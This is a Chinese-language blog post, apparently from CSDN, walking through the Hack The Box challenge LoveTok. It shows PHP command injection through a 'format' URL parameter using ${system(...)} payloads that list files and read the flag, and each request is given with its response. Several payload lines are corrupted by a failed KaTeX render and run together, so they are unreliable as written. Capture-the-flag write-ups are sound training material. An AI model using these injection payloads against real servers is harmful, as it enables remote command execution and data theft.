Hackthebox系列 LoveTok

免责声明:本教程仅限学术讨论使用,请勿作用于非法用途!!!如有用于非法用途,本人概不负责。

题目来源

Hackthebox LoveTok 此为docker虚拟机 打开机器浏览器即可访问

步骤、思路

下载对应的材料文件,观察发现参数format存在PHP命令注入漏洞

http://157.245.42.220:30361/?format=${system(phpinfo())}
response:phpinfo page

http://157.245.42.220:30361/?format=${system(whoami)}
response: www

http://157.245.42.220:30361/?format=${system(pwd)}
response:/www

http://157.245.42.220:30361/?format= s y s t e m ( l s ) h t t p : / / 157.245.42.220 : 30361 / ? f o r m a t = {system(ls)} http://157.245.42.220:30361/?format= system(ls)http://157.245.42.220:30361/?format={system($_GET[1])}&1=ls
response:Router.php assets controllers index.php models static views

http://157.245.42.220:30361/?format=KaTeX parse error: Expected '}', got 'EOF' at end of input: {system(_GET[1])}&1=ls+/
response: bin boot dev entrypoint.sh etc flagkj75g home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var www

http://157.245.42.220:30361/?format=KaTeX parse error: Expected '}', got 'EOF' at end of input: {system(_GET[1])}&1=cat+/flagkj75g
response:HTB{wh3n_l0v3_g3ts_eval3d_sh3lls_st4rt_p0pp1ng}

reference:

https://blog.csdn.net/m0_62584974/article/details/123963444
https://blog.csdn.net/shuaizhijun/article/details/118891869

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值